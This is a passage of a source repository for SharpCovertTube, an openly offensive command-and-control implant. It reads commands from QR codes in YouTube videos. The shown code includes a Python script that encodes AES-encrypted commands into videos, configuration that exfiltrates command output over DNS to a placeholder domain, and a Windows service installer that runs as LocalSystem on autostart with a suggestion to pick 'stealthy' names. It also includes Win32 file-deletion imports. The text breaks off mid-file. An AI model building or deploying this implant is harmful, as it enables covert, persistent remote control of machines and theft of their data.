├── example-videos ├── whoami.avi └── dirtemp_aes.avi ├── SharpCovertTube ├── packages.config ├── App.config ├── Configuration.cs ├── JSONSerializer.cs ├── Properties │ └── AssemblyInfo.cs ├── APIInfo.cs ├── Win32.cs ├── CmdFunctions.cs ├── HelperFunctions.cs ├── SharpCovertTube.csproj ├── QRCodeDecoder │ ├── Finder.cs │ ├── QRCodeTrace.cs │ ├── Corner.cs │ ├── ReedSolomon.cs │ └── StaticTables.cs └── Program.cs ├── c2-server ├── config.py ├── README.md └── c2-server.py ├── SharpCovertTube_Service ├── App.config ├── ProjectInstaller.cs ├── Program.cs ├── Configuration.cs ├── JSONSerializer.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpCovertTube_Service.Designer.cs ├── APIInfo.cs ├── ProjectInstaller.Designer.cs ├── SharpCovertTube_Service.cs ├── HelperFunctions.cs ├── SharpCovertTube_Service.csproj ├── QRCodeDecoder │ ├── Finder.cs │ ├── QRCodeTrace.cs │ ├── Corner.cs │ └── ReedSolomon.cs ├── SharpCovertTube_Service.resx ├── ProjectInstaller.resx └── SharpCovertTube.cs ├── SharpCovertTube.sln ├── generate_video.py └── README.md /example-videos/whoami.avi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/SharpCovertTube/HEAD/example-videos/whoami.avi -------------------------------------------------------------------------------- /example-videos/dirtemp_aes.avi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/SharpCovertTube/HEAD/example-videos/dirtemp_aes.avi -------------------------------------------------------------------------------- /SharpCovertTube/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpCovertTube/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /c2-server/config.py: -------------------------------------------------------------------------------- 1 | client_id = "" 2 | client_secret = "" 3 | access_token_ = "" 4 | refresh_token_ = "" 5 | ns_subdomain = ".steve" 6 | log_file = "log.txt" 7 | show_banner = False 8 | aes_key = "" 9 | aes_iv = "" 10 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/ProjectInstaller.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.ComponentModel; 5 | using System.Configuration.Install; 6 | using System.Linq; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpCovertTube_Service 10 | { 11 | [RunInstaller(true)] 12 | public partial class ProjectInstaller : System.Configuration.Install.Installer 13 | { 14 | public ProjectInstaller() 15 | { 16 | InitializeComponent(); 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.ServiceProcess; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpCovertTube_Service 9 | { 10 | internal static class Program 11 | { 12 | /// 13 | /// The main entry point for the application. 14 | /// 15 | static void Main() 16 | { 17 | ServiceBase[] ServicesToRun; 18 | ServicesToRun = new ServiceBase[] 19 | { 20 | new SharpCovertTube_Service() 21 | }; 22 | ServiceBase.Run(ServicesToRun); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/Configuration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpCovertTube_Service 4 | { 5 | internal class Configuration 6 | { 7 | /* Configuration values */ 8 | // Channel ID (mandatory!!!). Get it from: https://www.youtube.com/account_advanced 9 | public const string channel_id = ""; 10 | // API Key (mandatory!!!). Get it from: https://console.cloud.google.com/apis/credentials 11 | public const string api_key = ""; 12 | // AES Key used for payload encryption 13 | public const string payload_aes_key = "0000000000000000"; 14 | // IV Key used for payload encryption 15 | public const string payload_aes_iv = "0000000000000000"; 16 | // Period between every check of the Youtube channel. Default is 10 minutes to avoid exceeding api quota 17 | public const int seconds_delay = 600; 18 | // Write debug messages in log file or not 19 | public const bool log_to_file = true; 20 | // Log file 21 | public const string log_file = "c:\\temp\\.sharpcoverttube.log"; 22 | // Exfiltrate command responses through DNS or not 23 | public const bool dns_exfiltration = true; 24 | // DNS hostname used for DNS exfiltration 25 | public const string dns_hostname = ".test.org"; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpCovertTube/Configuration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpCovertTube 4 | { 5 | internal class Configuration 6 | { 7 | /* Configuration values */ 8 | // Channel ID (mandatory!!!). Get it from: https://www.youtube.com/account_advanced 9 | public const string channel_id = ""; 10 | // API Key (mandatory!!!). Get it from: https://console.cloud.google.com/apis/credentials 11 | public const string api_key = ""; 12 | // AES Key used for payload encryption 13 | public const string payload_aes_key = "0000000000000000"; 14 | // IV Key used for payload encryption 15 | public const string payload_aes_iv = "0000000000000000"; 16 | // Period between every check of the Youtube channel. Default is 10 minutes to avoid exceeding api quota 17 | public const int seconds_delay = 600; 18 | // Show debug messages in console or not 19 | public const bool debug_console = true; 20 | // Write debug messages in log file or not 21 | public const bool log_to_file = true; 22 | // Log file 23 | public const string log_file = "c:\\temp\\.sharpcoverttube.log"; 24 | // Exfiltrate command responses through DNS or not 25 | public const bool dns_exfiltration = true; 26 | // DNS hostname used for DNS exfiltration 27 | public const string dns_hostname = ".test.org"; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /SharpCovertTube/JSONSerializer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Runtime.Serialization.Json; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpCovertTube 10 | { 11 | // Source: https://stackoverflow.com/questions/9573119/how-to-parse-json-without-json-net-library 12 | public static class JSONSerializer where TType : class 13 | { 14 | /// 15 | /// Serializes an object to JSON 16 | /// 17 | public static string Serialize(TType instance) 18 | { 19 | var serializer = new DataContractJsonSerializer(typeof(TType)); 20 | using (var stream = new MemoryStream()) 21 | { 22 | serializer.WriteObject(stream, instance); 23 | return Encoding.Default.GetString(stream.ToArray()); 24 | } 25 | } 26 | 27 | /// 28 | /// DeSerializes an object from JSON 29 | /// 30 | public static TType DeSerialize(string json) 31 | { 32 | using (var stream = new MemoryStream(Encoding.Default.GetBytes(json))) 33 | { 34 | var serializer = new DataContractJsonSerializer(typeof(TType)); 35 | return serializer.ReadObject(stream) as TType; 36 | } 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/JSONSerializer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Runtime.Serialization.Json; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpCovertTube_Service 10 | { 11 | // Source: https://stackoverflow.com/questions/9573119/how-to-parse-json-without-json-net-library 12 | public static class JSONSerializer where TType : class 13 | { 14 | /// 15 | /// Serializes an object to JSON 16 | /// 17 | public static string Serialize(TType instance) 18 | { 19 | var serializer = new DataContractJsonSerializer(typeof(TType)); 20 | using (var stream = new MemoryStream()) 21 | { 22 | serializer.WriteObject(stream, instance); 23 | return Encoding.Default.GetString(stream.ToArray()); 24 | } 25 | } 26 | 27 | /// 28 | /// DeSerializes an object from JSON 29 | /// 30 | public static TType DeSerialize(string json) 31 | { 32 | using (var stream = new MemoryStream(Encoding.Default.GetBytes(json))) 33 | { 34 | var serializer = new DataContractJsonSerializer(typeof(TType)); 35 | return serializer.ReadObject(stream) as TType; 36 | } 37 | } 38 | } 39 | } 40 | 41 | -------------------------------------------------------------------------------- /SharpCovertTube/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpCovertTube")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpCovertTube")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("28004bc6-dae3-4f4c-ac14-b3de3f6cf95e")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpCovertTube_Service")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpCovertTube_Service")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("d926fc20-e5b8-403c-99f4-dbef665d4563")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/SharpCovertTube_Service.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace SharpCovertTube_Service 2 | { 3 | partial class SharpCovertTube_Service 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Component Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.eventLog1 = new System.Diagnostics.EventLog(); 32 | ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).BeginInit(); 33 | // 34 | // SharpCovertTube_Service 35 | // 36 | this.ServiceName = "SharpCovertTube_Service"; 37 | ((System.ComponentModel.ISupportInitialize)(this.eventLog1)).EndInit(); 38 | 39 | } 40 | 41 | #endregion 42 | 43 | private System.Diagnostics.EventLog eventLog1; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /SharpCovertTube.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33801.468 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCovertTube", "SharpCovertTube\SharpCovertTube.csproj", "{28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCovertTube_Service", "SharpCovertTube_Service\SharpCovertTube_Service.csproj", "{D926FC20-E5B8-403C-99F4-DBEF665D4563}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|x64 = Debug|x64 14 | Release|Any CPU = Release|Any CPU 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|x64.ActiveCfg = Debug|x64 21 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Debug|x64.Build.0 = Debug|x64 22 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|x64.ActiveCfg = Release|x64 25 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}.Release|x64.Build.0 = Release|x64 26 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|x64.ActiveCfg = Debug|Any CPU 29 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Debug|x64.Build.0 = Debug|Any CPU 30 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|x64.ActiveCfg = Release|Any CPU 33 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}.Release|x64.Build.0 = Release|Any CPU 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {74A01187-08AA-45E5-A873-8C94127CCCBD} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /SharpCovertTube/APIInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.Serialization; 2 | 3 | 4 | namespace SharpCovertTube 5 | { 6 | [DataContract] 7 | public class Thumbnail_Obj 8 | { 9 | [DataMember] 10 | public string url { get; set; } 11 | [DataMember] 12 | public string width { get; set; } 13 | [DataMember] 14 | public string height { get; set; } 15 | } 16 | 17 | 18 | [DataContract] 19 | public class Id_Obj 20 | { 21 | [DataMember] 22 | public string kind { get; set; } 23 | [DataMember] 24 | public string videoId { get; set; } 25 | } 26 | 27 | 28 | [DataContract] 29 | public class Thumbnail 30 | { 31 | [DataMember] 32 | public Thumbnail_Obj default_ { get; set; } 33 | [DataMember] 34 | public Thumbnail_Obj medium { get; set; } 35 | [DataMember] 36 | public Thumbnail_Obj high { get; set; } 37 | } 38 | 39 | 40 | [DataContract] 41 | public class Snippet 42 | { 43 | [DataMember] 44 | public string publishedAt { get; set; } 45 | [DataMember] 46 | public string channelId { get; set; } 47 | [DataMember] 48 | public string title { get; set; } 49 | [DataMember] 50 | public string description { get; set; } 51 | [DataMember] 52 | public Thumbnail thumbnails { get; set; } 53 | [DataMember] 54 | public string channelTitle { get; set; } 55 | [DataMember] 56 | public string liveBroadcastContent { get; set; } 57 | [DataMember] 58 | public string publishTime { get; set; } 59 | } 60 | 61 | 62 | [DataContract] 63 | public class Item { 64 | [DataMember] 65 | public string kind { get; set; } 66 | [DataMember] 67 | public string etag { get; set; } 68 | [DataMember] 69 | public Id_Obj id { get; set; } 70 | [DataMember] 71 | public Snippet snippet { get; set; } 72 | } 73 | 74 | 75 | [DataContract] 76 | public class APIInfo 77 | { 78 | [DataMember] 79 | public string kind { get; set; } 80 | 81 | [DataMember] 82 | public string etag { get; set; } 83 | 84 | [DataMember] 85 | public string[] pageInfo { get; set; } 86 | 87 | [DataMember] 88 | public Item[] items { get; set; } 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/APIInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | 5 | namespace SharpCovertTube_Service 6 | { 7 | [DataContract] 8 | public class Thumbnail_Obj 9 | { 10 | [DataMember] 11 | public string url { get; set; } 12 | [DataMember] 13 | public string width { get; set; } 14 | [DataMember] 15 | public string height { get; set; } 16 | } 17 | 18 | 19 | [DataContract] 20 | public class Id_Obj 21 | { 22 | [DataMember] 23 | public string kind { get; set; } 24 | [DataMember] 25 | public string videoId { get; set; } 26 | } 27 | 28 | 29 | [DataContract] 30 | public class Thumbnail 31 | { 32 | [DataMember] 33 | public Thumbnail_Obj default_ { get; set; } 34 | [DataMember] 35 | public Thumbnail_Obj medium { get; set; } 36 | [DataMember] 37 | public Thumbnail_Obj high { get; set; } 38 | } 39 | 40 | 41 | [DataContract] 42 | public class Snippet 43 | { 44 | [DataMember] 45 | public string publishedAt { get; set; } 46 | [DataMember] 47 | public string channelId { get; set; } 48 | [DataMember] 49 | public string title { get; set; } 50 | [DataMember] 51 | public string description { get; set; } 52 | [DataMember] 53 | public Thumbnail thumbnails { get; set; } 54 | [DataMember] 55 | public string channelTitle { get; set; } 56 | [DataMember] 57 | public string liveBroadcastContent { get; set; } 58 | [DataMember] 59 | public string publishTime { get; set; } 60 | } 61 | 62 | 63 | [DataContract] 64 | public class Item 65 | { 66 | [DataMember] 67 | public string kind { get; set; } 68 | [DataMember] 69 | public string etag { get; set; } 70 | [DataMember] 71 | public Id_Obj id { get; set; } 72 | [DataMember] 73 | public Snippet snippet { get; set; } 74 | } 75 | 76 | 77 | [DataContract] 78 | public class APIInfo 79 | { 80 | [DataMember] 81 | public string kind { get; set; } 82 | 83 | [DataMember] 84 | public string etag { get; set; } 85 | 86 | [DataMember] 87 | public string[] pageInfo { get; set; } 88 | 89 | [DataMember] 90 | public Item[] items { get; set; } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/ProjectInstaller.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace SharpCovertTube_Service 2 | { 3 | partial class ProjectInstaller 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Component Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.serviceProcessInstaller1 = new System.ServiceProcess.ServiceProcessInstaller(); 32 | this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller(); 33 | // 34 | // serviceProcessInstaller1 35 | // 36 | this.serviceProcessInstaller1.Account = System.ServiceProcess.ServiceAccount.LocalSystem; 37 | this.serviceProcessInstaller1.Password = null; 38 | this.serviceProcessInstaller1.Username = null; 39 | // 40 | // serviceInstaller1 41 | // 42 | this.serviceInstaller1.Description = "You can change Description and DisplayName from serviceInstaller1 properties to u" + 43 | "se more stealthy values :)"; 44 | this.serviceInstaller1.DisplayName = "SharpCovertTube Service"; 45 | this.serviceInstaller1.ServiceName = "SharpCovertTube_Service"; 46 | this.serviceInstaller1.StartType = System.ServiceProcess.ServiceStartMode.Automatic; 47 | // 48 | // ProjectInstaller 49 | // 50 | this.Installers.AddRange(new System.Configuration.Install.Installer[] { 51 | this.serviceProcessInstaller1, 52 | this.serviceInstaller1}); 53 | 54 | } 55 | 56 | #endregion 57 | 58 | private System.ServiceProcess.ServiceProcessInstaller serviceProcessInstaller1; 59 | private System.ServiceProcess.ServiceInstaller serviceInstaller1; 60 | } 61 | } -------------------------------------------------------------------------------- /SharpCovertTube/Win32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | namespace SharpCovertTube 6 | { 7 | internal class Win32 8 | { 9 | //////////////////// CONSTANTS //////////////////// 10 | public const uint DELETE = (uint)0x00010000L; 11 | public const uint SYNCHRONIZE = (uint)0x00100000L; 12 | public const uint FILE_SHARE_READ = 0x00000001; 13 | public const uint OPEN_EXISTING = 3; 14 | public const int MAX_PATH = 256; 15 | 16 | 17 | ///////////////////// ENUMS ///////////////////// 18 | public enum FileInformationClass : int 19 | { 20 | FileBasicInfo = 0, 21 | FileStandardInfo = 1, 22 | FileNameInfo = 2, 23 | FileRenameInfo = 3, 24 | FileDispositionInfo = 4, 25 | FileAllocationInfo = 5, 26 | FileEndOfFileInfo = 6, 27 | FileStreamInfo = 7, 28 | FileCompressionInfo = 8, 29 | FileAttributeTagInfo = 9, 30 | FileIdBothDirectoryInfo = 10, 31 | FileIdBothDirectoryRestartInfo = 11, 32 | FileIoPriorityHintInfo = 12, 33 | FileRemoteProtocolInfo = 13, 34 | FileFullDirectoryInfo = 14, 35 | FileFullDirectoryRestartInfo = 15, 36 | FileStorageInfo = 16, 37 | FileAlignmentInfo = 17, 38 | FileIdInfo = 18, 39 | FileIdExtdDirectoryInfo = 19, 40 | FileIdExtdDirectoryRestartInfo = 20, 41 | } 42 | 43 | 44 | //////////////////// FUNCTIONS //////////////////// 45 | [DllImport("wininet.dll")] 46 | public extern static bool InternetGetConnectedState( 47 | out int Description, 48 | int ReservedValue); 49 | 50 | [DllImport("kernel32.dll", SetLastError = true)] 51 | public static extern IntPtr CreateFileW( 52 | [MarshalAs(UnmanagedType.LPWStr)] string lpFileName, 53 | uint dwDesiredAccess, 54 | uint dwShareMode, 55 | uint lpSecurityAttributes, 56 | uint dwCreationDisposition, 57 | uint dwFlagsAndAttributes, 58 | uint hTemplateFile); 59 | 60 | [DllImport("Kernel32.dll", SetLastError = true)] 61 | public static extern int SetFileInformationByHandle( 62 | IntPtr hFile, 63 | FileInformationClass FileInformationClass, 64 | IntPtr FileInformation, 65 | Int32 dwBufferSize); 66 | 67 | [DllImport("Kernel32.dll", SetLastError = true)] 68 | public static extern bool CloseHandle( 69 | IntPtr handle); 70 | 71 | [DllImport("kernel32.dll", SetLastError = true)][PreserveSig] 72 | public static extern uint GetModuleFileName( 73 | [In] IntPtr hModule, 74 | [Out] StringBuilder lpFilename, 75 | [In][MarshalAs(UnmanagedType.U4)] int nSize); 76 | 77 | 78 | ///////////////////// STRUCTS ///////////////////// 79 | [StructLayout(LayoutKind.Sequential)] 80 | public unsafe struct filerenameinfo_struct { 81 | public bool ReplaceIfExists; 82 | public IntPtr RootDirectory; 83 | public uint FileNameLength; 84 | public fixed byte filename[255]; 85 | } 86 | 87 | [StructLayout(LayoutKind.Sequential)] 88 | public struct filedispositioninfo_struct { 89 | public bool DeleteFile; 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /generate_video.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from glob import glob 3 | import argparse 4 | import random 5 | import base64 6 | import rebus 7 | import cv2 8 | import sys 9 | import re 10 | import os 11 | 12 | 13 | def aes_encrypt(message, aes_key, iv): 14 | message = message.encode() 15 | BS = 16 16 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() 17 | raw = pad(message) 18 | #iv = 16 * b'0' 19 | aes_key_bytes = str.encode(aes_key) 20 | iv_bytes = str.encode(iv) 21 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes) 22 | enc = cipher.encrypt(raw) 23 | rebus_encoded = rebus.b64encode(base64.b64encode(enc).decode('utf-8')) 24 | return rebus_encoded.decode("utf-8") 25 | 26 | 27 | def generate_frames(image_type, imagesFolder, command, aes_key, iv): 28 | #if cmd_ != "exit": 29 | if image_type == "qr": 30 | import pyqrcode 31 | qrcode = pyqrcode.create(command,version=10) 32 | qrcode.png(imagesFolder + "image_1.png",scale=8) 33 | elif image_type == "qr_aes": 34 | import pyqrcode 35 | encrypted_cmd = aes_encrypt(command,aes_key, iv) 36 | print("[+] AES-encrypted value: "+encrypted_cmd) 37 | qrcode = pyqrcode.create(encrypted_cmd,version=10) 38 | qrcode.png(imagesFolder + "image_1.png",scale=8) 39 | else: 40 | print("Unknown type") 41 | return 1 42 | 43 | 44 | def create_file(video_file, imagesFolder): 45 | img_array = [] 46 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split(r'(\d+)', s)] 47 | for filename in sorted(glob(imagesFolder + '*.png'), key=natsort): 48 | img = cv2.imread(filename) 49 | height, width, layers = img.shape 50 | size = (width,height) 51 | img_array.append(img) 52 | img_array.append(img) 53 | img_array.append(img) 54 | img_array.append(img) 55 | fps = 1 56 | out = cv2.VideoWriter(video_file,cv2.VideoWriter_fourcc(*'DIVX'), fps, size) 57 | for i in range(len(img_array)): 58 | out.write(img_array[i]) 59 | out.release() 60 | 61 | 62 | def clean_images(imagesFolder): 63 | os.remove(imagesFolder + "/image_1.png") 64 | 65 | 66 | def generate_video(image_type, video_file, aes_key, iv, command, imagesFolder): 67 | generate_frames(image_type, imagesFolder, command, aes_key, iv) 68 | print("[+] Creating file in the path "+video_file) 69 | create_file(video_file, imagesFolder) 70 | clean_images(imagesFolder) 71 | 72 | 73 | def get_args(): 74 | parser = argparse.ArgumentParser() 75 | parser.add_argument('-t', '--type', required=True, action='store', help='Type') 76 | parser.add_argument('-f', '--file', required=True, action='store', help='Video file path') 77 | parser.add_argument('-c', '--command', required=True, action='store', help='Command') 78 | parser.add_argument('-k', '--aeskey', required=False, action='store', help='AES key') 79 | parser.add_argument('-i', '--aesiv', required=False, action='store', help='IV') 80 | my_args = parser.parse_args() 81 | return my_args 82 | 83 | 84 | def main(): 85 | args = get_args() 86 | if args.type=="qr_aes": 87 | if args.aeskey is None or args.aesiv is None: 88 | print("[+] If you are using AES you need to use the -a (--aeskey) option with an AES key and -i (--iv) option with the IV.") 89 | sys.exit(0) 90 | elif args.aeskey is not None: 91 | if(len(args.aeskey) % 16 != 0): 92 | print("[+] AES key length must be multiple of 16.") 93 | sys.exit(0) 94 | if(len(args.aesiv) % 16 != 0): 95 | print("[+] IV length must be multiple of 16.") 96 | sys.exit(0) 97 | ''' 98 | print("TYPE: \t" + args.type) 99 | print("FILE: \t" +args.file) 100 | print("CMD: \t" +args.command) 101 | print("AESKEY:\t" +args.aeskey) 102 | print("IV: \t" +args.iv) 103 | ''' 104 | generate_video(args.type, args.file, args.aeskey, args.aesiv, args.command, "c:\\temp\\") 105 | 106 | 107 | if __name__== "__main__": 108 | main() -------------------------------------------------------------------------------- /SharpCovertTube_Service/SharpCovertTube_Service.cs: -------------------------------------------------------------------------------- 1 | using System.ServiceProcess; 2 | using System.Runtime.InteropServices; 3 | using System.IO; 4 | 5 | public enum ServiceState 6 | { 7 | SERVICE_STOPPED = 0x00000001, 8 | SERVICE_START_PENDING = 0x00000002, 9 | SERVICE_STOP_PENDING = 0x00000003, 10 | SERVICE_RUNNING = 0x00000004, 11 | SERVICE_CONTINUE_PENDING = 0x00000005, 12 | SERVICE_PAUSE_PENDING = 0x00000006, 13 | SERVICE_PAUSED = 0x00000007, 14 | } 15 | 16 | [StructLayout(LayoutKind.Sequential)] 17 | public struct ServiceStatus 18 | { 19 | public int dwServiceType; 20 | public ServiceState dwCurrentState; 21 | public int dwControlsAccepted; 22 | public int dwWin32ExitCode; 23 | public int dwServiceSpecificExitCode; 24 | public int dwCheckPoint; 25 | public int dwWaitHint; 26 | }; 27 | 28 | 29 | 30 | namespace SharpCovertTube_Service 31 | { 32 | public partial class SharpCovertTube_Service : ServiceBase 33 | { 34 | private int eventId = 1; 35 | [DllImport("advapi32.dll", SetLastError = true)] 36 | private static extern bool SetServiceStatus(System.IntPtr handle, ref ServiceStatus serviceStatus); 37 | 38 | [DllImport("wininet.dll")] 39 | private extern static bool InternetGetConnectedState(out int Description, int ReservedValue); 40 | 41 | 42 | public SharpCovertTube_Service() 43 | { 44 | InitializeComponent(); 45 | eventLog1 = new System.Diagnostics.EventLog(); 46 | if (!System.Diagnostics.EventLog.SourceExists("MySource")) 47 | { 48 | System.Diagnostics.EventLog.CreateEventSource( 49 | "MySource", "MyNewLog"); 50 | } 51 | eventLog1.Source = "MySource"; 52 | eventLog1.Log = "MyNewLog"; 53 | } 54 | 55 | 56 | public static bool IsConnectedToInternet() 57 | { 58 | int Desc; 59 | return InternetGetConnectedState(out Desc, 0); 60 | } 61 | 62 | 63 | protected override void OnStart(string[] args) 64 | { 65 | // Update the service state to Start Pending. 66 | ServiceStatus serviceStatus = new ServiceStatus(); 67 | serviceStatus.dwCurrentState = 